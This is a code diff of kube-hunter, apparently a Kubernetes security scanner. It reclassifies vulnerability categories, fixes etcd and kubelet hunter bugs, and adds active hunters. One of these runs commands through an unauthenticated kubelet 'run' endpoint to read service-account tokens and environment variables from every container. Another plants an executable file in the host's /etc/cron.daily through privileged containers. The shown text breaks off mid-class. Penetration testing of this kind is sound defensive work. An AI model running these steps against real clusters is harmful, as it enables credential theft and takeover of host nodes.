self.evidence = "nodes: {}".format(" ".join(nodes)) if nodes else None
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ from scapy.all import IP, ICMP, UDP, DNS, DNSQR, ARP, Ether, sr1, srp1, srp
|
||||
from kube_hunter.conf import get_config
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Event, Vulnerability
|
||||
from kube_hunter.core.types import ActiveHunter, KubernetesCluster, IdentityTheft
|
||||
from kube_hunter.core.types import ActiveHunter, KubernetesCluster, CoreDNSPoisoningTechnique
|
||||
from kube_hunter.modules.hunting.arp import PossibleArpSpoofing
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
@@ -18,10 +18,14 @@ class PossibleDnsSpoofing(Vulnerability, Event):
|
||||
|
||||
def __init__(self, kubedns_pod_ip):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, "Possible DNS Spoof", category=IdentityTheft, vid="KHV030",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
"Possible DNS Spoof",
|
||||
category=CoreDNSPoisoningTechnique,
|
||||
vid="KHV030",
|
||||
)
|
||||
self.kubedns_pod_ip = kubedns_pod_ip
|
||||
self.evidence = "kube-dns at: {}".format(self.kubedns_pod_ip)
|
||||
self.evidence = f"kube-dns at: {self.kubedns_pod_ip}"
|
||||
|
||||
|
||||
# Only triggered with RunningAsPod base event
|
||||
@@ -61,7 +65,9 @@ class DnsSpoofHunter(ActiveHunter):
|
||||
self_ip = dns_info_res[IP].dst
|
||||
|
||||
arp_responses, _ = srp(
|
||||
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
|
||||
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
|
||||
timeout=config.network_timeout,
|
||||
verbose=0,
|
||||
)
|
||||
for _, response in arp_responses:
|
||||
if response[Ether].src == kubedns_pod_mac:
|
||||
@@ -70,7 +76,7 @@ class DnsSpoofHunter(ActiveHunter):
|
||||
def execute(self):
|
||||
config = get_config()
|
||||
logger.debug("Attempting to get kube-dns pod ip")
|
||||
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.netork_timeout)[IP].dst
|
||||
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
|
||||
cbr0_ip, cbr0_mac = self.get_cbr0_ip_mac()
|
||||
|
||||
kubedns = self.get_kube_dns_ip_mac()
|
||||
|
||||
@@ -8,10 +8,10 @@ from kube_hunter.core.types import (
|
||||
ActiveHunter,
|
||||
Hunter,
|
||||
KubernetesCluster,
|
||||
InformationDisclosure,
|
||||
RemoteCodeExec,
|
||||
UnauthenticatedAccess,
|
||||
AccessRisk,
|
||||
GeneralSensitiveInformationTechnique,
|
||||
GeneralPersistenceTechnique,
|
||||
ListK8sSecretsTechnique,
|
||||
ExposedSensitiveInterfacesTechnique,
|
||||
)
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
@@ -26,7 +26,11 @@ class EtcdRemoteWriteAccessEvent(Vulnerability, Event):
|
||||
|
||||
def __init__(self, write_res):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Etcd Remote Write Access Event", category=RemoteCodeExec, vid="KHV031",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Etcd Remote Write Access Event",
|
||||
category=GeneralPersistenceTechnique,
|
||||
vid="KHV031",
|
||||
)
|
||||
self.evidence = write_res
|
||||
|
||||
@@ -36,7 +40,11 @@ class EtcdRemoteReadAccessEvent(Vulnerability, Event):
|
||||
|
||||
def __init__(self, keys):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, name="Etcd Remote Read Access Event", category=AccessRisk, vid="KHV032",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Etcd Remote Read Access Event",
|
||||
category=ListK8sSecretsTechnique,
|
||||
vid="KHV032",
|
||||
)
|
||||
self.evidence = keys
|
||||
|
||||
@@ -50,7 +58,7 @@ class EtcdRemoteVersionDisclosureEvent(Vulnerability, Event):
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Etcd Remote version disclosure",
|
||||
category=InformationDisclosure,
|
||||
category=GeneralSensitiveInformationTechnique,
|
||||
vid="KHV033",
|
||||
)
|
||||
self.evidence = version
|
||||
@@ -66,7 +74,7 @@ class EtcdAccessEnabledWithoutAuthEvent(Vulnerability, Event):
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Etcd is accessible using insecure connection (HTTP)",
|
||||
category=UnauthenticatedAccess,
|
||||
category=ExposedSensitiveInterfacesTechnique,
|
||||
vid="KHV034",
|
||||
)
|
||||
self.evidence = version
|
||||
@@ -81,6 +89,7 @@ class EtcdRemoteAccessActive(ActiveHunter):
|
||||
def __init__(self, event):
|
||||
self.event = event
|
||||
self.write_evidence = ""
|
||||
self.event.protocol = "https"
|
||||
|
||||
def db_keys_write_access(self):
|
||||
config = get_config()
|
||||
@@ -88,7 +97,7 @@ class EtcdRemoteAccessActive(ActiveHunter):
|
||||
data = {"value": "remotely written data"}
|
||||
try:
|
||||
r = requests.post(
|
||||
f"{self.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys/message",
|
||||
f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys/message",
|
||||
data=data,
|
||||
timeout=config.network_timeout,
|
||||
)
|
||||
@@ -113,14 +122,16 @@ class EtcdRemoteAccess(Hunter):
|
||||
self.event = event
|
||||
self.version_evidence = ""
|
||||
self.keys_evidence = ""
|
||||
self.protocol = "https"
|
||||
self.event.protocol = "https"
|
||||
|
||||
def db_keys_disclosure(self):
|
||||
config = get_config()
|
||||
logger.debug(f"{self.event.host} Passive hunter is attempting to read etcd keys remotely")
|
||||
try:
|
||||
r = requests.get(
|
||||
f"{self.protocol}://{self.eventhost}:{ETCD_PORT}/v2/keys", verify=False, timeout=config.network_timeout,
|
||||
f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys",
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
)
|
||||
self.keys_evidence = r.content if r.status_code == 200 and r.content != "" else False
|
||||
return self.keys_evidence
|
||||
@@ -132,7 +143,7 @@ class EtcdRemoteAccess(Hunter):
|
||||
logger.debug(f"Trying to check etcd version remotely at {self.event.host}")
|
||||
try:
|
||||
r = requests.get(
|
||||
f"{self.protocol}://{self.event.host}:{ETCD_PORT}/version",
|
||||
f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/version",
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
)
|
||||
@@ -146,7 +157,9 @@ class EtcdRemoteAccess(Hunter):
|
||||
logger.debug(f"Trying to access etcd insecurely at {self.event.host}")
|
||||
try:
|
||||
r = requests.get(
|
||||
f"http://{self.event.host}:{ETCD_PORT}/version", verify=False, timeout=config.network_timeout,
|
||||
f"http://{self.event.host}:{ETCD_PORT}/version",
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
)
|
||||
return r.content if r.status_code == 200 and r.content else False
|
||||
except requests.exceptions.ConnectionError:
|
||||
@@ -154,10 +167,10 @@ class EtcdRemoteAccess(Hunter):
|
||||
|
||||
def execute(self):
|
||||
if self.insecure_access(): # make a decision between http and https protocol
|
||||
self.protocol = "http"
|
||||
self.event.protocol = "http"
|
||||
if self.version_disclosure():
|
||||
self.publish_event(EtcdRemoteVersionDisclosureEvent(self.version_evidence))
|
||||
if self.protocol == "http":
|
||||
if self.event.protocol == "http":
|
||||
self.publish_event(EtcdAccessEnabledWithoutAuthEvent(self.version_evidence))
|
||||
if self.db_keys_disclosure():
|
||||
self.publish_event(EtcdRemoteReadAccessEvent(self.keys_evidence))
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
import json
|
||||
import logging
|
||||
import time
|
||||
from enum import Enum
|
||||
|
||||
import re
|
||||
import requests
|
||||
import urllib3
|
||||
import uuid
|
||||
|
||||
from kube_hunter.conf import get_config
|
||||
from kube_hunter.core.events import handler
|
||||
@@ -14,9 +16,12 @@ from kube_hunter.core.types import (
|
||||
ActiveHunter,
|
||||
KubernetesCluster,
|
||||
Kubelet,
|
||||
InformationDisclosure,
|
||||
RemoteCodeExec,
|
||||
AccessRisk,
|
||||
ExposedSensitiveInterfacesTechnique,
|
||||
ExecIntoContainerTechnique,
|
||||
GeneralDefenseEvasionTechnique,
|
||||
GeneralSensitiveInformationTechnique,
|
||||
PrivilegedContainerTechnique,
|
||||
AccessKubeletAPITechnique,
|
||||
)
|
||||
from kube_hunter.modules.discovery.kubelet import (
|
||||
ReadOnlyKubeletEvent,
|
||||
@@ -33,7 +38,7 @@ class ExposedPodsHandler(Vulnerability, Event):
|
||||
|
||||
def __init__(self, pods):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure,
|
||||
self, component=Kubelet, name="Exposed Pods", category=AccessKubeletAPITechnique, vid="KHV052"
|
||||
)
|
||||
self.pods = pods
|
||||
self.evidence = f"count: {len(self.pods)}"
|
||||
@@ -45,7 +50,11 @@ class AnonymousAuthEnabled(Vulnerability, Event):
|
||||
|
||||
def __init__(self):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Anonymous Authentication", category=RemoteCodeExec, vid="KHV036",
|
||||
self,
|
||||
component=Kubelet,
|
||||
name="Anonymous Authentication",
|
||||
category=ExposedSensitiveInterfacesTechnique,
|
||||
vid="KHV036",
|
||||
)
|
||||
|
||||
|
||||
@@ -54,7 +63,11 @@ class ExposedContainerLogsHandler(Vulnerability, Event):
|
||||
|
||||
def __init__(self):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Exposed Container Logs", category=InformationDisclosure, vid="KHV037",
|
||||
self,
|
||||
component=Kubelet,
|
||||
name="Exposed Container Logs",
|
||||
category=AccessKubeletAPITechnique,
|
||||
vid="KHV037",
|
||||
)
|
||||
|
||||
|
||||
@@ -64,10 +77,14 @@ class ExposedRunningPodsHandler(Vulnerability, Event):
|
||||
|
||||
def __init__(self, count):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Exposed Running Pods", category=InformationDisclosure, vid="KHV038",
|
||||
self,
|
||||
component=Kubelet,
|
||||
name="Exposed Running Pods",
|
||||
category=AccessKubeletAPITechnique,
|
||||
vid="KHV038",
|
||||
)
|
||||
self.count = count
|
||||
self.evidence = "{} running pods".format(self.count)
|
||||
self.evidence = f"{self.count} running pods"
|
||||
|
||||
|
||||
class ExposedExecHandler(Vulnerability, Event):
|
||||
@@ -75,7 +92,11 @@ class ExposedExecHandler(Vulnerability, Event):
|
||||
|
||||
def __init__(self):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Exposed Exec On Container", category=RemoteCodeExec, vid="KHV039",
|
||||
self,
|
||||
component=Kubelet,
|
||||
name="Exposed Exec On Container",
|
||||
category=ExecIntoContainerTechnique,
|
||||
vid="KHV039",
|
||||
)
|
||||
|
||||
|
||||
@@ -84,7 +105,11 @@ class ExposedRunHandler(Vulnerability, Event):
|
||||
|
||||
def __init__(self):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Exposed Run Inside Container", category=RemoteCodeExec, vid="KHV040",
|
||||
self,
|
||||
component=Kubelet,
|
||||
name="Exposed Run Inside Container",
|
||||
category=ExecIntoContainerTechnique,
|
||||
vid="KHV040",
|
||||
)
|
||||
|
||||
|
||||
@@ -93,7 +118,11 @@ class ExposedPortForwardHandler(Vulnerability, Event):
|
||||
|
||||
def __init__(self):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Exposed Port Forward", category=RemoteCodeExec, vid="KHV041",
|
||||
self,
|
||||
component=Kubelet,
|
||||
name="Exposed Port Forward",
|
||||
category=GeneralDefenseEvasionTechnique,
|
||||
vid="KHV041",
|
||||
)
|
||||
|
||||
|
||||
@@ -103,7 +132,11 @@ class ExposedAttachHandler(Vulnerability, Event):
|
||||
|
||||
def __init__(self):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Exposed Attaching To Container", category=RemoteCodeExec, vid="KHV042",
|
||||
self,
|
||||
component=Kubelet,
|
||||
name="Exposed Attaching To Container",
|
||||
category=ExecIntoContainerTechnique,
|
||||
vid="KHV042",
|
||||
)
|
||||
|
||||
|
||||
@@ -113,19 +146,43 @@ class ExposedHealthzHandler(Vulnerability, Event):
|
||||
|
||||
def __init__(self, status):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Cluster Health Disclosure", category=InformationDisclosure, vid="KHV043",
|
||||
self,
|
||||
component=Kubelet,
|
||||
name="Cluster Health Disclosure",
|
||||
category=GeneralSensitiveInformationTechnique,
|
||||
vid="KHV043",
|
||||
)
|
||||
self.status = status
|
||||
self.evidence = f"status: {self.status}"
|
||||
|
||||
|
||||
class ExposedExistingPrivilegedContainersViaSecureKubeletPort(Vulnerability, Event):
|
||||
"""A malicious actor, that has confirmed anonymous access to the API via the kubelet's secure port, \
|
||||
can leverage the existing privileged containers identified to damage the host and potentially \
|
||||
the whole cluster"""
|
||||
|
||||
def __init__(self, exposed_existing_privileged_containers):
|
||||
Vulnerability.__init__(
|
||||
self,
|
||||
component=KubernetesCluster,
|
||||
name="Exposed Existing Privileged Container(s) Via Secure Kubelet Port",
|
||||
category=PrivilegedContainerTechnique,
|
||||
vid="KHV051",
|
||||
)
|
||||
self.exposed_existing_privileged_containers = exposed_existing_privileged_containers
|
||||
|
||||
|
||||
class PrivilegedContainers(Vulnerability, Event):
|
||||
"""A Privileged container exist on a node
|
||||
could expose the node/cluster to unwanted root operations"""
|
||||
|
||||
def __init__(self, containers):
|
||||
Vulnerability.__init__(
|
||||
self, component=KubernetesCluster, name="Privileged Container", category=AccessRisk, vid="KHV044",
|
||||
self,
|
||||
component=KubernetesCluster,
|
||||
name="Privileged Container",
|
||||
category=PrivilegedContainerTechnique,
|
||||
vid="KHV044",
|
||||
)
|
||||
self.containers = containers
|
||||
self.evidence = f"pod: {containers[0][0]}, " f"container: {containers[0][1]}, " f"count: {len(containers)}"
|
||||
@@ -136,7 +193,11 @@ class ExposedSystemLogs(Vulnerability, Event):
|
||||
|
||||
def __init__(self):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Exposed System Logs", category=InformationDisclosure, vid="KHV045",
|
||||
self,
|
||||
component=Kubelet,
|
||||
name="Exposed System Logs",
|
||||
category=AccessKubeletAPITechnique,
|
||||
vid="KHV045",
|
||||
)
|
||||
|
||||
|
||||
@@ -145,7 +206,11 @@ class ExposedKubeletCmdline(Vulnerability, Event):
|
||||
|
||||
def __init__(self, cmdline):
|
||||
Vulnerability.__init__(
|
||||
self, component=Kubelet, name="Exposed Kubelet Cmdline", category=InformationDisclosure, vid="KHV046",
|
||||
self,
|
||||
component=Kubelet,
|
||||
name="Exposed Kubelet Cmdline",
|
||||
category=AccessKubeletAPITechnique,
|
||||
vid="KHV046",
|
||||
)
|
||||
self.cmdline = cmdline
|
||||
self.evidence = f"cmdline: {self.cmdline}"
|
||||
@@ -241,10 +306,10 @@ class SecureKubeletPortHunter(Hunter):
|
||||
"""
|
||||
|
||||
class DebugHandlers:
|
||||
""" all methods will return the handler name if successful """
|
||||
"""all methods will return the handler name if successful"""
|
||||
|
||||
def __init__(self, path, pod, session=None):
|
||||
self.path = path
|
||||
self.path = path + ("/" if not path.endswith("/") else "")
|
||||
self.session = session if session else requests.Session()
|
||||
self.pod = pod
|
||||
|
||||
@@ -252,7 +317,9 @@ class SecureKubeletPortHunter(Hunter):
|
||||
def test_container_logs(self):
|
||||
config = get_config()
|
||||
logs_url = self.path + KubeletHandlers.CONTAINERLOGS.value.format(
|
||||
pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], container_name=self.pod["container"],
|
||||
pod_namespace=self.pod["namespace"],
|
||||
pod_id=self.pod["name"],
|
||||
container_name=self.pod["container"],
|
||||
)
|
||||
return self.session.get(logs_url, verify=False, timeout=config.network_timeout).status_code == 200
|
||||
|
||||
@@ -270,36 +337,46 @@ class SecureKubeletPortHunter(Hunter):
|
||||
return (
|
||||
"/cri/exec/"
|
||||
in self.session.get(
|
||||
exec_url, headers=headers, allow_redirects=False, verify=False, timeout=config.network_timeout,
|
||||
exec_url,
|
||||
headers=headers,
|
||||
allow_redirects=False,
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
)
|
||||
|
||||
# need further investigation on websockets protocol for further implementation
|
||||
def test_port_forward(self):
|
||||
config = get_config()
|
||||
headers = {
|
||||
"Upgrade": "websocket",
|
||||
"Connection": "Upgrade",
|
||||
"Sec-Websocket-Key": "s",
|
||||
"Sec-Websocket-Version": "13",
|
||||
"Sec-Websocket-Protocol": "SPDY",
|
||||
}
|
||||
pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
|
||||
pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], port=80,
|
||||
)
|
||||
self.session.get(
|
||||
pf_url, headers=headers, verify=False, stream=True, timeout=config.network_timeout,
|
||||
).status_code == 200
|
||||
pass
|
||||
# TODO: what to return?
|
||||
# Example starting code:
|
||||
#
|
||||
# config = get_config()
|
||||
# headers = {
|
||||
# "Upgrade": "websocket",
|
||||
# "Connection": "Upgrade",
|
||||
# "Sec-Websocket-Key": "s",
|
||||
# "Sec-Websocket-Version": "13",
|
||||
# "Sec-Websocket-Protocol": "SPDY",
|
||||
# }
|
||||
# pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
|
||||
# pod_namespace=self.pod["namespace"],
|
||||
# pod_id=self.pod["name"],
|
||||
# port=80,
|
||||
# )
|
||||
|
||||
# executes one command and returns output
|
||||
def test_run_container(self):
|
||||
config = get_config()
|
||||
run_url = self.path + KubeletHandlers.RUN.value.format(
|
||||
pod_namespace="test", pod_id="test", container_name="test", cmd="",
|
||||
pod_namespace="test",
|
||||
pod_id="test",
|
||||
container_name="test",
|
||||
cmd="",
|
||||
)
|
||||
# if we get a Method Not Allowed, we know we passed Authentication and Authorization.
|
||||
return self.session.get(run_url, verify=False, timeout=config.network_timeout).status_code == 405
|
||||
# if we get this message, we know we passed Authentication and Authorization, and that the endpoint is enabled.
|
||||
status_code = self.session.post(run_url, verify=False, timeout=config.network_timeout).status_code
|
||||
return status_code == requests.codes.NOT_FOUND
|
||||
|
||||
# returns list of currently running pods
|
||||
def test_running_pods(self):
|
||||
@@ -321,7 +398,10 @@ class SecureKubeletPortHunter(Hunter):
|
||||
return (
|
||||
"/cri/attach/"
|
||||
in self.session.get(
|
||||
attach_url, allow_redirects=False, verify=False, timeout=config.network_timeout,
|
||||
attach_url,
|
||||
allow_redirects=False,
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
)
|
||||
|
||||
@@ -329,7 +409,8 @@ class SecureKubeletPortHunter(Hunter):
|
||||
def test_logs_endpoint(self):
|
||||
config = get_config()
|
||||
logs_url = self.session.get(
|
||||
self.path + KubeletHandlers.LOGS.value.format(path=""), timeout=config.network_timeout,
|
||||
self.path + KubeletHandlers.LOGS.value.format(path=""),
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
return "<pre>" in logs_url
|
||||
|
||||
@@ -337,7 +418,9 @@ class SecureKubeletPortHunter(Hunter):
|
||||
def test_pprof_cmdline(self):
|
||||
config = get_config()
|
||||
cmd = self.session.get(
|
||||
self.path + KubeletHandlers.PPROF_CMDLINE.value, verify=False, timeout=config.network_timeout,
|
||||
self.path + KubeletHandlers.PPROF_CMDLINE.value,
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
)
|
||||
return cmd.text if cmd.status_code == 200 else None
|
||||
|
||||
@@ -349,7 +432,7 @@ class SecureKubeletPortHunter(Hunter):
|
||||
# self.session.cert = self.event.client_cert
|
||||
# copy session to event
|
||||
self.event.session = self.session
|
||||
self.path = "https://{self.event.host}:10250"
|
||||
self.path = f"https://{self.event.host}:10250"
|
||||
self.kubehunter_pod = {
|
||||
"name": "kube-hunter",
|
||||
"namespace": "default",
|
||||
@@ -425,7 +508,7 @@ class SecureKubeletPortHunter(Hunter):
|
||||
pod_data = next(filter(is_kubesystem_pod, pods_data), None)
|
||||
|
||||
if pod_data:
|
||||
container_data = next(pod_data["spec"]["containers"], None)
|
||||
container_data = pod_data["spec"]["containers"][0]
|
||||
if container_data:
|
||||
return {
|
||||
"name": pod_data["metadata"]["name"],
|
||||
@@ -434,6 +517,521 @@ class SecureKubeletPortHunter(Hunter):
|
||||
}
|
||||
|
||||
|
||||
""" Active Hunters """
|
||||
|
||||
|
||||
@handler.subscribe(AnonymousAuthEnabled)
|
||||
class ProveAnonymousAuth(ActiveHunter):
|
||||
"""Foothold Via Secure Kubelet Port
|
||||
Attempts to demonstrate that a malicious actor can establish foothold into the cluster via a
|
||||
container abusing the configuration of the kubelet's secure port: authentication-auth=false.
|
||||
"""
|
||||
|
||||
def __init__(self, event):
|
||||
self.event = event
|
||||
self.base_url = f"https://{self.event.host}:10250/"
|
||||
|
||||
def get_request(self, url, verify=False):
|
||||
config = get_config()
|
||||
try:
|
||||
response_text = self.event.session.get(url=url, verify=verify, timeout=config.network_timeout).text.rstrip()
|
||||
|
||||
return response_text
|
||||
except Exception as ex:
|
||||
logging.debug("Exception: " + str(ex))
|
||||
return "Exception: " + str(ex)
|
||||
|
||||
def post_request(self, url, params, verify=False):
|
||||
config = get_config()
|
||||
try:
|
||||
response_text = self.event.session.post(
|
||||
url=url, verify=verify, params=params, timeout=config.network_timeout
|
||||
).text.rstrip()
|
||||
|
||||
return response_text
|
||||
except Exception as ex:
|
||||
logging.debug("Exception: " + str(ex))
|
||||
return "Exception: " + str(ex)
|
||||
|
||||
@staticmethod
|
||||
def has_no_exception(result):
|
||||
return "Exception: " not in result
|
||||
|
||||
@staticmethod
|
||||
def has_no_error(result):
|
||||
possible_errors = ["exited with", "Operation not permitted", "Permission denied", "No such file or directory"]
|
||||
|
||||
return not any(error in result for error in possible_errors)
|
||||
|
||||
@staticmethod
|
||||
def has_no_error_nor_exception(result):
|
||||
return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)
|
||||
|
||||
def cat_command(self, run_request_url, full_file_path):
|
||||
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
|
||||
|
||||
def process_container(self, run_request_url):
|
||||
service_account_token = self.cat_command(run_request_url, "/var/run/secrets/kubernetes.io/serviceaccount/token")
|
||||
|
||||
environment_variables = self.post_request(run_request_url, {"cmd": "env"})
|
||||
|
||||
if self.has_no_error_nor_exception(service_account_token):
|
||||
return {
|
||||
"result": True,
|
||||
"service_account_token": service_account_token,
|
||||
"environment_variables": environment_variables,
|
||||
}
|
||||
|
||||
return {"result": False}
|
||||
|
||||
def execute(self):
|
||||
pods_raw = self.get_request(self.base_url + KubeletHandlers.PODS.value)
|
||||
|
||||
# At this point, the following must happen:
|
||||
# a) we get the data of the running pods
|
||||
# b) we get a forbidden message because the API server
|
||||
# has a configuration that denies anonymous attempts despite the kubelet being vulnerable
|
||||
|
||||
if self.has_no_error_nor_exception(pods_raw) and "items" in pods_raw:
|
||||
pods_data = json.loads(pods_raw)["items"]
|
||||
|
||||
temp_message = ""
|
||||
exposed_existing_privileged_containers = list()
|
||||
|
||||
for pod_data in pods_data:
|
||||
pod_namespace = pod_data["metadata"]["namespace"]
|
||||
pod_id = pod_data["metadata"]["name"]
|
||||
|
||||
for container_data in pod_data["spec"]["containers"]:
|
||||
container_name = container_data["name"]
|
||||
|
||||
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
|
||||
|
||||
extracted_data = self.process_container(run_request_url)
|
||||
|
||||
if extracted_data["result"]:
|
||||
service_account_token = extracted_data["service_account_token"]
|
||||
environment_variables = extracted_data["environment_variables"]
|
||||
|
||||
temp_message += (
|
||||
f"\n\nPod namespace: {pod_namespace}"
|
||||
+ f"\n\nPod ID: {pod_id}"
|
||||
+ f"\n\nContainer name: {container_name}"
|
||||
+ f"\n\nService account token: {service_account_token}"
|
||||
+ f"\nEnvironment variables: {environment_variables}"
|
||||
)
|
||||
|
||||
first_check = container_data.get("securityContext", {}).get("privileged")
|
||||
|
||||
first_subset = container_data.get("securityContext", {})
|
||||
second_subset = first_subset.get("capabilities", {})
|
||||
data_for_second_check = second_subset.get("add", [])
|
||||
|
||||
second_check = "SYS_ADMIN" in data_for_second_check
|
||||
|
||||
if first_check or second_check:
|
||||
exposed_existing_privileged_containers.append(
|
||||
{
|
||||
"pod_namespace": pod_namespace,
|
||||
"pod_id": pod_id,
|
||||
"container_name": container_name,
|
||||
"service_account_token": service_account_token,
|
||||
"environment_variables": environment_variables,
|
||||
}
|
||||
)
|
||||
|
||||
if temp_message:
|
||||
message = "The following containers have been successfully breached." + temp_message
|
||||
|
||||
self.event.evidence = f"{message}"
|
||||
|
||||
if exposed_existing_privileged_containers:
|
||||
self.publish_event(
|
||||
ExposedExistingPrivilegedContainersViaSecureKubeletPort(
|
||||
exposed_existing_privileged_containers=exposed_existing_privileged_containers
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
|
||||
class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
|
||||
"""Malicious Intent Via Secure Kubelet Port
|
||||
Attempts to demonstrate that a malicious actor can leverage existing privileged containers
|
||||
exposed via the kubelet's secure port, due to anonymous auth enabled misconfiguration,
|
||||
such that a process can be started or modified on the host.
|
||||
"""
|
||||
|
||||
def __init__(self, event, seconds_to_wait_for_os_command=1):
|
||||
self.event = event
|
||||
self.base_url = f"https://{self.event.host}:10250/"
|
||||
self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command
|
||||
self.number_of_rm_attempts = 5
|
||||
self.number_of_rmdir_attempts = 5
|
||||
self.number_of_umount_attempts = 5
|
||||
|
||||
def post_request(self, url, params, verify=False):
|
||||
config = get_config()
|
||||
try:
|
||||
response_text = self.event.session.post(
|
||||
url, verify, params=params, timeout=config.network_timeout
|
||||
).text.rstrip()
|
||||
|
||||
return response_text
|
||||
except Exception as ex:
|
||||
logging.debug("Exception: " + str(ex))
|
||||
return "Exception: " + str(ex)
|
||||
|
||||
def cat_command(self, run_request_url, full_file_path):
|
||||
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
|
||||
|
||||
def clean_attacked_exposed_existing_privileged_container(
|
||||
self,
|
||||
run_request_url,
|
||||
file_system_or_partition,
|
||||
directory_created,
|
||||
file_created,
|
||||
number_of_rm_attempts,
|
||||
number_of_umount_attempts,
|
||||
number_of_rmdir_attempts,
|
||||
seconds_to_wait_for_os_command,
|
||||
):
|
||||
|
||||
self.rm_command(
|
||||
run_request_url,
|
||||
f"{directory_created}/etc/cron.daily/{file_created}",
|
||||
number_of_rm_attempts,
|
||||
seconds_to_wait_for_os_command,
|
||||
)
|
||||
|
||||
self.umount_command(
|
||||
run_request_url,
|
||||
file_system_or_partition,
|
||||
directory_created,
|
||||
number_of_umount_attempts,
|
||||
seconds_to_wait_for_os_command,
|
||||
)
|
||||
|
||||
self.rmdir_command(
|
||||
run_request_url,
|
||||
directory_created,
|
||||
number_of_rmdir_attempts,
|
||||
seconds_to_wait_for_os_command,
|
||||
)
|
||||
|
||||
def check_file_exists(self, run_request_url, file):
|
||||
file_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=file)
|
||||
|
||||
return ProveAnonymousAuth.has_no_error_nor_exception(file_exists)
|
||||
|
||||
def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):
|
||||
if self.check_file_exists(run_request_url, file_to_remove):
|
||||
for _ in range(number_of_rm_attempts):
|
||||
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rm -f {file_to_remove}"})
|
||||
|
||||
if seconds_to_wait_for_os_command:
|
||||
time.sleep(seconds_to_wait_for_os_command)
|
||||
|
||||
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
|
||||
second_check = self.check_file_exists(run_request_url, file_to_remove)
|
||||
|
||||
if first_check and not second_check:
|
||||
return True
|
||||
|
||||
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
|
||||
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
|
||||
logger.warning(
|
||||
"kube-hunter: "
|
||||
+ "POD="
|
||||
+ pod_id
|
||||
+ ", "
|
||||
+ "CONTAINER="
|
||||
+ container_name
|
||||
+ " - Unable to remove file: "
|
||||
+ file_to_remove
|
||||
)
|
||||
|
||||
return False
|
||||
|
||||
def chmod_command(self, run_request_url, permissions, file):
|
||||
return self.post_request(run_request_url, {"cmd": f"chmod {permissions} {file}"})
|
||||
|
||||
def touch_command(self, run_request_url, file_to_create):
|
||||
return self.post_request(run_request_url, {"cmd": f"touch {file_to_create}"})
|
||||
|
||||
def attack_exposed_existing_privileged_container(
|
||||
self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None
|
||||
):
|
||||
if file_name is None:
|
||||
file_name = "kube-hunter" + str(uuid.uuid1())
|
||||
|
||||
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
|
||||
|
||||
file_created = self.touch_command(run_request_url, file_name_with_path)
|
||||
|
||||
if ProveAnonymousAuth.has_no_error_nor_exception(file_created):
|
||||
permissions_changed = self.chmod_command(run_request_url, "755", file_name_with_path)
|
||||
|
||||
if ProveAnonymousAuth.has_no_error_nor_exception(permissions_changed):
|
||||
return {"result": True, "file_created": file_name}
|
||||
|
||||
